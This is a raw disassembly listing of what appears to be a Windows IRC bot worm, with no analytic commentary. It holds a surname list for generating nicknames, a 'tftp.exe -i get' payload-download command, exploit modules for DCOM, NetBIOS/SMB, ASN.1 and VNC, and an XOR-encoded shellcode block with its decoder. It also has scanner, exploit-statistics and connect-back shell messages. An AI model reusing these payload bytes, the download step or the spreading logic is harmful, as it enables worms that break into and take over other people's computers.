___:0042DCA0o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC9Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC98o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC94o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC90o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC8Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC88o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC84o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC80o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC7Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC78o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC74o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC70o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC6Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC68o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC64o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC60o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC5Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC58o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC54o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC50o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC4Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC48o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC44o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC40o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC3Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC38o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC34o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC30o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC2Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC28o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC24o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC20o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC1Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC18o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC14o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DC0Co ; ___:0042DC10o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DC08o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DC04o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DC00o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBFCo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBF8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBF4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBF0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBECo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBE8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBE4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBDCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBD8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBD4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBD0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBCCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBC8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBC4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBC0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBBCo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBB8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBB4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBB0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DBACo align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DBA8o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DBA4o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DBA0o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB9Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB98o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB94o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB90o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB8Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB88o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB84o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB80o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB7Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB78o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB74o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB70o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB6Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB68o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB64o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB60o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB5Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB58o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB54o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB50o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB4Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB48o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB44o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB40o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB3Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB38o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB34o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB30o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB2Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB28o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB24o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB20o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB1Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB18o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB14o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB10o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DB0Co align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DB08o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DB04o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DB00o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAFCo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAF8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAF4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAF0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DAECo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAE8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAE4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAE0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DADCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAD8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAD4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAD0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DACCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAC8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAC4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAC0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DABCo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAB8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAB4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAB0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DAACo aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DAA8o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DAA4o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DAA0o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA9Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA98o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA94o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA90o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA8Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA88o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA84o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA80o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA7Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA78o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA74o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA70o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA6Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA68o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA64o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA60o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA5Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA58o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA54o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA50o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA4Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA48o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA44o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA40o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA3Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA38o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA34o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA30o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA2Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA28o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA24o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA20o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA1Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA18o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA14o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA10o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DA0Co align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DA08o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042DA04o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DA00o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9FCo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9F8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9F4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9F0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9ECo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9E8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9E4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9E0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9DCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9D8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9D4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9D0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9CCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9C8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9C4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9C0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9BCo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9B8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9B4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9B0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D9ACo align 4 byte_431604 db 50h ; DATA XREF: ___:0040ABD9o ; ___:0040ABE6r db 43h, 2 dup(0) dword_431608 dd 7C7325h ; DATA XREF: ___:0040AC84o dword_43160C dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD8Eo dword_431614 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD85o ; sub_41AF2B:loc_41AFEEo dword_431618 dd 334B32h ; DATA XREF: ___:0040AD7Eo dword_43161C dd 5058h ; DATA XREF: ___:0040AD70o ; ___:0040AF7Co ... dword_431620 dd 4B32h ; DATA XREF: ___:0040AD60o ; ___:0040AF6Co ... dword_431624 dd 454Dh ; DATA XREF: ___:0040AD47o ; ___:0040AF53o ... dword_431628 dd 3839h ; DATA XREF: ___:0040AD37o ; ___:0040AF43o ... dword_43162C dd 544Eh ; DATA XREF: ___:0040AD27o ; ___:0040AF34o ... dword_431630 dd 3539h ; DATA XREF: ___:0040AD19o ; ___:0040AF26o ... dword_431634 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADD4+3Ao dword_43163C dd 5D4D5Bh ; DATA XREF: sub_40ADD4+2Co ; sub_40ADD4+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADD4+18o ; sub_41870F+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0C9o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B08Bo align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B065o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B047o ; sub_41AD74+52o off_43166C dd offset byte_4B4E55 ; DATA XREF: ___:0040B02Ao dword_431670 dd 345053h ; DATA XREF: ___:0040B020o dword_431674 dd 34h ; DATA XREF: ___:0040B014o dword_431678 dd 335053h ; DATA XREF: ___:0040B007o dword_43167C dd 33h ; DATA XREF: ___:0040AFF6o dword_431680 dd 325053h ; DATA XREF: ___:0040AFE9o dword_431684 dd 32h ; DATA XREF: ___:0040AFD8o ; =============== S U B R O U T I N E ======================================= sub_431688 proc near ; DATA XREF: ___:0040AFCBo push ebx push eax xor [eax], eax sub_431688 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43168C dd 305053h ; DATA XREF: ___:0040AFADo dword_431690 dd 4E55h ; DATA XREF: ___:loc_40AF91o dword_431694 dd 3332h ; DATA XREF: ___:0040AF8Ao ; --------------------------------------------------------------------------- loc_431698: ; DATA XREF: sub_40B2A6+C4o jmp short loc_43169C ; --------------------------------------------------------------------------- loc_43169A: ; CODE XREF: ___:loc_43169Cp jmp short loc_4316A1 ; --------------------------------------------------------------------------- loc_43169C: ; CODE XREF: ___:loc_431698j call loc_43169A loc_4316A1: ; CODE XREF: ___:loc_43169Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_4316A6 dw 0FFFFh ; DATA XREF: sub_40B2A6+CCw db 80h, 73h, 0Eh byte_4316AB db 0FFh ; DATA XREF: sub_40B2A6+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316B0: ; DATA XREF: sub_40B2A6+A2o jmp short loc_4316B4 ; --------------------------------------------------------------------------- loc_4316B2: ; CODE XREF: ___:loc_4316B4p jmp short loc_4316B9 ; --------------------------------------------------------------------------- loc_4316B4: ; CODE XREF: ___:loc_4316B0j call loc_4316B2 loc_4316B9: ; CODE XREF: ___:loc_4316B2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316BD db 0FFh ; DATA XREF: sub_40B2A6+AAw dw 7380h db 0Ch byte_4316C1 db 0FFh ; DATA XREF: sub_40B2A6+B0w dw 0E243h dd 0F9h dword_4316C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B12F+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43172C dd 12h ; DATA XREF: sub_40B12F+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B12F+79o aJ_0 db 'j',0 db 0E8h dword_431745 dd 17h ; DATA XREF: sub_40B12F+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43174C retn ; --------------------------------------------------------------------------- byte_43174C db 0E8h ; CODE XREF: ___:00431749j dword_43174D dd 1 ; DATA XREF: sub_40B12F+45w byte_431751 db 0, 6Ah, 0 ; DATA XREF: sub_40B12F+C2o dd 7E8h db 0, 0Fh, 84h dword_43175B dd 0FFFFFFEDh ; DATA XREF: sub_40B12F+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B63B+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B63B+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3D3+164o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA8E+30o ; ___:0040E21Ao ... align 4 dd 5 dup(0) dword_431808 dd 0B97h ; DATA XREF: sub_401AC7+1D32r ; sub_401AC7+1D5Ao ... off_43180C dd offset sub_40EAB9 ; DATA XREF: sub_40C3D3+1E6r dword_431810 dd 0 ; DATA XREF: sub_40B901+2Eo ; ___:0040D74Aw ... dword_431814 dd 1 ; DATA XREF: sub_40BD7C+1Fr dword_431818 dd 1 ; DATA XREF: sub_40BD7C+3B3r dword_43181C dd 0 ; DATA XREF: sub_40BD7C+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF3Dh, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EBEFh, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40E977h, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) ; --------------------------------------------------------------------------- mov ebp, 77000001h jmp near ptr word_431952 ; --------------------------------------------------------------------------- align 4 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D584h db 2 dup(0) word_431952 dw 0 ; CODE XREF: ___:0043190Dj dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D584h, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B641h, 5 dup(0) dd 10100h, 0Eh dup(0) aAsn445_1 db 'asn445',0 align 4 db 2 dup(0) byte_431A2A db 1 ; DATA XREF: sub_401AC7:loc_403773r ; sub_401AC7+1CB6o aDcom135_0 db 'dcom135',0 align 4 dd 79730100h, 6Dh, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A5E ; =============== S U B R O U T I N E ======================================= sub_431A4E proc near ; CODE XREF: sub_431A4E:loc_431A5Ep pop edx dec edx xor ecx, ecx mov cx, 166h loc_431A56: ; CODE XREF: sub_431A4E+Cj xor byte ptr [edx+ecx], 99h loop loc_431A56 jmp short loc_431A63 ; --------------------------------------------------------------------------- loc_431A5E: ; CODE XREF: ___:00431A4Cj call sub_431A4E loc_431A63: ; CODE XREF: sub_431A4E+Ej jo short near ptr dword_4319E4+1Ah cwde cdq cdq retn sub_431A4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o align 10h dword_431BE0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B901+46o unk_431BEC db 2Dh ; - ; DATA XREF: sub_40B901+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431C0C db 2Dh ; - ; DATA XREF: sub_40B9CF+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431C54 db 2Dh ; - ; DATA XREF: sub_40BA3A+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 10h aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA8E+7Eo dword_431C90 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o dword_431CA0 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA8E+14o dd 7473694Ch, 3Ah unk_431CBC db 2Dh ; - ; DATA XREF: ___:0040BCC2o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431CF0 db 2Dh ; - ; DATA XREF: ___:0040BBD4o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_431D20 db 2Dh ; - ; DATA XREF: sub_40BD05+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_431D40 db 2Dh ; - ; DATA XREF: sub_40BD05+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D5C db 2Dh ; - ; DATA XREF: sub_40BD7C+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 10h unk_431D90 db 2Dh ; - ; DATA XREF: sub_40BD7C+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431DC8 db 2Dh ; - ; DATA XREF: sub_40BD7C+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 4 unk_431DF8 db 2Dh ; - ; DATA XREF: sub_40BD7C+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431E2C db 2Dh ; - ; DATA XREF: sub_40BD7C+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 10h unk_431E60 db 2Dh ; - ; DATA XREF: sub_40BD7C+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E94 db 2Dh ; - ; DATA XREF: sub_40C3D3+EBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431EBC db 2Dh ; - ; DATA XREF: sub_40C3D3+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431EF4 db 2Dh ; - ; DATA XREF: sub_40C3D3+3E2o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431F34 db 2Dh ; - ; DATA XREF: sub_40C3D3+387o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F6C db 2Dh ; - ; DATA XREF: sub_40C3D3+317o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431FA0 db 2Dh ; - ; DATA XREF: sub_40C3D3+29Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431FD4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C846+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 